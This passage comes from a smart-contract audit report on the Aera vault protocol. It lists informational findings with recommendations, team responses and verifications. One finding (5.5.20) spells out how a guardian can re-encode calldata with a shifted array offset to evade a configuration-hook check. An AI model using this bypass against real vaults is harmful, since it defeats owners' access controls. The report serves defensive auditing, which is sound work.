5.5.12 Removing redundant unchecked blocks

Severity: Informational

Context: OracleDataLibrary.sol#L172-L174

Description: In several functions of the `OracleDataLibrary` contract, the `unchecked` block is not needed since bit operations (`&`, `|`, `>>`, etc.) are not considered checked arithmetic and are unchecked by default in Solidity v0.8.

Recommendation: Consider removing the `unchecked` block for clarity.

Aera: Fixed in PR 289.

Spearbit: Verified. `OracleDataLibrary` has been removed in the rewrite of `OracleRegistry`.

5.5.13 Use of outdated ERC-7726 specification

Severity: Informational

Context: IOracle.sol#L10-L18, IOracle.sol#L26-L29

Description: In the latest ERC-7726 specification, the errors are removed and not enforced based on this commit. Since the `OracleRegistry` implementation does not use or follow the errors, consider removing them from the `IOracle` interface. The comment of `getQuote()` at L26-L29 can be removed as well.

Recommendation: Consider implementing the above suggestion.

Aera: Fixed in PR 289.

Spearbit: Verified.

5.5.14 Allowing vault owners to dispute fees easily

Severity: Informational

Context: FeeVault.sol#L81

Description: To dispute an erroneous snapshot, the vault owner can change the current fee calculator to another one by calling the `setFeeCalculator()` function. Note that this function takes a parameter, `newFeeCalculator`, which must implement a `registerVault()` public function.

To make the dispute process easier for vault owners, the contract can either:

1. Allow `setFeeCalculator()` to accept `newFeeCalculator == address(0)` so owners can quickly disable the fee calculator without preparing a contract.
2. Add a separate function, e.g., `disputeFeeCalculator()`, which sets `feeCalculator` to `address(0)`. This approach would be more explicit. The function will need to claim the finalized fees first as well.

Recommendation: Consider implementing one of the above suggestions.

Aera: Fixed in PR 303 (option 1).

Spearbit: Verified.

5.5.15 Slippage Hooks Implicitly Require Receiver to Be Vault Itself

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Description: The slippage enforcement logic implemented in BaseSlippageHooks relies on measuring token balances before and after the operation using `msg.sender` as the reference address.

This approach assumes that the contract receiving the swapped tokens is the same as the vault (i.e., the caller of the operation, `msg.sender`). However, in contracts like UniswapV3DexHooks, swaps support a `receiver` field, which could theoretically point to any address.

If a swap operation sets the `receiver` to an address other than the vault, the balance delta calculation will be inaccurate, and slippage enforcement may either fail or revert. As a result, the slippage hook enforces — implicitly but strictly — that all swap `receiver` values must point to the vault itself.

Recommendation: Consider making this constraint explicit by:

- Validating that the `receiver` parameter equals `msg.sender` during hook execution, and reverting otherwise.
- Documenting this assumption clearly for integrators to avoid confusion or silent reverts.
- If broader receiver support is desired in the future, slippage logic would need to be refactored to track actual recipient balances or use callback-based accounting.

Aera: Acknowledged. It is always expected to constrain on receiver explicitly. Here this is handled by making sure that every implementation of slippage hooks puts receiver in `extractedData`.

Spearbit: Acknowledged by Aera team as design constraint.

5.5.16 Naming Overlap Between Whitelist Hook and Core Whitelist Contract

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Description: The protocol currently includes a `Whitelist` contract used as part of the core vault operation approval system. Separately, a `TransferWhitelistHooks` contract is also present and unrelated in function — it serves to enforce destination-based restrictions on token transfers.

Although both use the term "whitelist," the two components are entirely independent and serve different roles. This naming overlap may lead to confusion during development or audit, especially for contributors unfamiliar with the codebase.

Recommendation: Consider clarifying the distinction between the two in comments or documentation. Using more specific naming — such as `TransferAllowlistHook` or `DestinationFilterHook` — could reduce ambiguity and improve developer ergonomics without requiring any functional changes.

Aera: Acknowledged. The term `Whitelist` is used for consistency throughout the codebase. The reason `Whitelist.sol` is not a `GuardianWhitelist.sol` contract is because the functionality is generic so to give it a wider use for the future.

Spearbit: Acknowledged by Aera team.

5.5.17 Explicitly checking whether the vault state is paused in `Provisioner`

Severity: Informational

Context: Provisioner.sol

Description: Many functions in `Provisioner` require that the vault should not be paused in `PriceAndFeeCalculator`, while the checks are done in two different ways:

1. Sync deposits and the `solveRequestsVault()` function perform the check in, e.g., the `_tokensToUnitsFloor()` function. By the function's name, it does not imply that it will revert if the vault state is paused.
2. Async requests and the `solveRequestsDirect()` function perform the check explicitly by requiring `PRICE_FEE_CALCULATOR.isVaultPaused() == false`.

Recommendation: Consider unifying the checks by following approach 2, which is explicit and clearer. A modifier or internal function can be added to avoid code duplication.

Aera: Fixed in PR 340 (renamed to `_tokensToUnitsFloorIfActive`).

Spearbit: Verified.

5.5.18 Including request hashes in async deposit and redeem request events

Severity: Informational

Context: Provisioner.sol#L190, Provisioner.sol#L226

Description: The `DepositRequested()` and `RedeemRequested()` events do not include the hash of the request, while other similar functions do, e.g., `Deposited()`, `DepositSolved()`. Consider including `depositHash` or `redeemHash` in the events if they could be helpful for off-chain components to track on-chain deposit and redeem requests more easily.

Recommendation: Consider implementing the above suggestion.

Aera: Fixed in PR 328.

Spearbit: Verified.

5.5.19 Best practices for removing token approvals

Severity: Informational

Context: Provisioner.sol#L371

Description: In the `remove()` function, the `Provisioner` calls `token.approve(MULTI_DEPOSITOR_VAULT, 0)` to reset the approval for the vault to 0.

1. As a best practice, using `forceApprove()` is preferred to handle cases where the `approve()` call does not return a boolean.
2. BNB on Ethereum does not allow calling `approve()` with a zero value. Note that tokens with such behavior are relatively rare. When adding new tokens, the tokens should be ensured not to revert on approving with a zero value.

Recommendation: Consider using `forceApprove()` instead of `approve()`.

Aera: Fixed in PR 340.

Spearbit: Verified.

5.5.20 Configuration hooks should not be used to validate dynamic parameters

Severity: Informational

Context: BaseVault.sol#L377

Description: It is an intended design that configurable hooks are applicable for validating only fixed-sized parameters. Operation hooks should be used instead to validate dynamic parameters. For completeness, this issue explains why configurable hooks fail to validate dynamic parameters and shows that guardians could bypass the rules if a vault is misconfigured. Consider a scenario where a guardian can call `target.someFunc(address[] addr)` but the vault owner wants to check `addr[1] == recipient`. The calldata is usually encoded as:

```
selector || 0x20 (offset to addr) || 0x02 (length) || addr[0] || addr[1] || ...
```

An incorrect way of checking `addr[1]` with configuration hooks is to extract the data from offset 0x60. However, the following is also a valid calldata, which will result in the same `addr[]` when decoded:

```
selector || 0x40 (offset to addr) || 0x00 (padding) || 0x02 (length) || addr[0] || addr[1] || ...
```

In this case, reading at offset 0x60 would return `addr[0]` instead. This allows the guardian to bypass the check by setting `addr[0]` to `recipient`, while `addr[1]` to an arbitrary value.

Recommendation: Consider adding an explicit warning in the documentation that configuration hooks should not be used to validate dynamic parameters, to make the vault owners fully aware of this.

Aera: Acknowledged. Will note.

Spearbit: Acknowledged.

5.5.21 Using ERC-7201 namespaced storage layout

Severity: Informational

Context: CallbackHandler.sol

Description: Several storage slots, e.g., `CALLBACK_CALL_SLOT`, in the contracts are calculated by following EIP-1967, while strictly speaking, EIP-1967 is only for single-slot values. Instead, ERC-7201 would be a better fit since it supports storing values up to 256 slots before possibly colliding with Solidity's or Vyper's standard storage, as described in the spec. Note that the current code has no real collision issues.

Recommendation: Consider calculating the storage slots by following ERC-7201.

Aera: Fixed in PR 326.

Spearbit: Verified.

5.5.22 Avoid precision loss in `PriceAndFeeCalculator`

Severity: Informational

Context: PriceAndFeeCalculator.sol#L391

Description: in PriceAndFeeCalculator.sol _shouldPause() precision loss can be avoided by multiplying both expressions by `ONE_IN_BPS`:

```
return price > currentPrice * state.maxPriceToleranceRatio / ONE_IN_BPS;
```

```
return price * ONE_IN_BPS > currentPrice * state.maxPriceToleranceRatio;
```

Aera: Fixed in PR 338.

Spearbit: Verified.

5.5.23 `setThresholds` could be more strict

Severity: Informational

Context: PriceAndFeeCalculator.sol#L103

Description/Recommendation: setInitialPrice expects `maxPriceAge != 0`:

```
function setInitialPrice(/*...*/) {
    // ...
    require(vaultPriceState.maxPriceAge != 0, Aera__ThresholdNotSet());
    // ...
}
```

but there is no such check in `setThresholds`. Consider adding `require(maxPriceAge > 0)` to `setThresholds` to avoid accidental reverts later.

Aera: Fixed in PR 333.

Spearbit: Verified. `setThresholds` is updated with the following check:

```
require(maxPriceAge > 0, Aera__InvalidMaxPriceAge());
```

5.5.24 Unify pause logic

Severity: Informational

Context: PriceAndFeeCalculator.sol#L159

Description: in PriceAndFeeCalculator setUnitPrice it's possible to set `vaultPriceState.pause = true`.

```
function setUnitPrice(/*...*/) {
    // ...

    if (_shouldPause(vaultPriceState, price, timestamp)) {
        // Effects: pause the vault
        vaultPriceState.paused = true;
    } else {
        // ...
    }

    // ...
}
```

Recommendation: Consider unifying the logic with `setVaultPaused` so an event is emitted, possibly with the pause reason (or emit separately).

Aera: Fixed in PR 339.

Spearbit: Verified. The `setUnitPrice` function now calls the `_setVaultPaused` internal function to pause the vault, which emits a `VaultPausedChanged` event.

5.5.25 Emit events to track skipped deposits

Severity: Informational

Context: Provisioner.sol#L274

Description: events are emitted when solved or refunded, but not when disabled (Provisioner.sol#L274).

Recommendation: Optionally emitting an event to easily track the reason it was skipped.

Aera: Fixed in PR 346.

Spearbit: Verified. The `AsyncDepositDisabled` and `AsyncRedeemDisabled` events are now emitted in the `solveRequestsVault` function if the async deposit/redeem is disabled.

5.5.26 Clear provisioner hashes in early return cases

Severity: Informational

Context: Provisioner.sol#L571

Description/Recommendation: Consider clearing provisioner hashes in early return edge cases:

- Provisioner.sol#L571.
- Provisioner.sol#L558.
- Provisioner.sol#L615.
- Provisioner.sol#L625.
- Provisioner.sol#L458.
- Provisioner.sol#L456.
- Provisioner.sol#L443.

Referring to `(a)syncDepositHashes[depositHash] = false` which is not met in cases of early return. Note that there's a lots of shared logic in these functions which can be unified.

Aera: Acknowledged.

Spearbit: Acknowledged by Aera team. After discussing with the Aera team, it is preferred not to clear out the hashes if the orders are not solved in case they could be solved with a better price in the future. Instead, several events were added in PR 346 to indicate failures in filling orders.

5.5.27 Incorrect Comment on `minUpdateIntervalMinutes` Type

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Description: In PriceAndFeeCalculator.sol#L382, the comment above the `minUpdateIntervalMinutes` field incorrectly refers to the type as `uint7`:

```
/// @dev minimum update interval (in minutes) [uint7]
uint16 public minUpdateIntervalMinutes;
```

The actual type is `uint16`, and the `[uint7]` note appears to be a leftover or typo. This may cause confusion for readers reviewing the comment or assuming constraints based on it.

Recommendation: Update the comment to reflect the correct type or remove the bracketed notation entirely if not necessary. This is purely a documentation fix and does not affect functionality.

Aera: Fixed in PR 333.

Spearbit: Fix verified.

5.5.28 Privileged Roles Can Refund Sync Deposits Within Refundable Window Without User Consent

Severity: Informational

Description: In Provisioner.sol#L134-L140, the `refundDeposit` function allows certain roles (e.g., the `manager`) to refund unclaimed sync deposits during the refundable window:

```
require(block.timestamp <= deposit.refundableUntil, "EXPIRED");
// ...
token.safeTransfer(deposit.depositor, deposit.amount);
```

There is no explicit check that the refund is requested by the depositor, meaning that a manager or privileged actor can forcefully refund a user's deposit within the allowed timeframe, even if the user does not want the funds returned. This may lead to UX inconsistencies or confusion, particularly if users expect deposits to be honored once sent.

Although this behavior may be intentional (e.g., to allow rebalancing or failure recovery), it's important to note that users do not have absolute control over unclaimed sync deposits during the refundable period.

Recommendation: Consider documenting this behavior clearly for depositors, especially in frontend UX and developer guides. If stronger guarantees are needed around depositor consent, an explicit opt-in flag or a depositor-only `refund` variant could be introduced in future versions.

As noted, this behavior likely aligns with protocol incentives — refunding without cause is against the protocol's self-interest — and is presumably managed by off-chain coordination and monitoring.

Aera: Acknowledged. This is intentional as sync deposits are not confirmed until the deposit price can be verified.

Spearbit: Acknowledged by Aera team.

5.5.29 `onlyVaultOwner` Modifier Logic Could Be Centralized in `BaseFeeCalculator`

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Description: The `setVaultFees` function in derived fee calculator contracts (e.g., `PriceAndFeeCalculator`) repeats the same logic to validate that the caller is the vault owner:

```
require(msg.sender == IOwnable(vault).owner(), "NOT_OWNER");
```

This pattern is currently duplicated across implementations. Since this ownership check is a fundamental access control constraint, it may be more maintainable to define a shared `onlyVaultOwner` modifier in the `BaseFeeCalculator` contract.

Recommendation: Consider moving the `onlyVaultOwner` modifier logic to the base contract (`BaseFeeCalculator`) and using it to gate functions like `setVaultFees`. This would reduce code duplication, improve readability, and help ensure that all implementations follow the same permission pattern consistently.

Aera: Fixed in PR 328.

Spearbit: Fix verified.

5.5.30 Consider Optionalizing and Renaming `beforeTransferHooks` in MultiDepositorVault

Severity: Informational

Context: *(No context files were provided by the reviewers)*

Description: In MultiDepositorVault.sol#L129 and L109–L123, the vault enforces a `beforeTransferHooks` call on every unit transfer. This assumes that all deployments intend to apply a transfer policy, such as whitelisting or blacklisting.

However, in many use cases, protocols may not require any transfer restrictions. In these cases, calling a no-op hook still adds unnecessary gas overhead. The system currently does not allow disabling the hook by setting it to `address(0)`, which could otherwise help reduce runtime cost for unrestricted vaults.

Additionally, the variable name `beforeTransferHooks` is plural, which may imply support for multiple hooks or modular composition. In practice, only one hook address is supported, so renaming it to `beforeTransferHook` may make the intent clearer.

Recommendation: Consider:

- Allowing `beforeTransferHook` to be optionally set to `address(0)` to skip the hook call entirely.
- Updating the contract logic to check for `address(0)` before calling the hook. This introduces a small conditional overhead for restricted vaults, but saves gas in unrestricted ones.
- Optionally renaming `beforeTransferHooks` to `beforeTransferHook` for clarity and semantic accuracy.

These changes could improve composability and efficiency, while still supporting the full enforcement model for protocols that require it.

Aera: Fixed in PR 338.

Spearbit: Fix verified.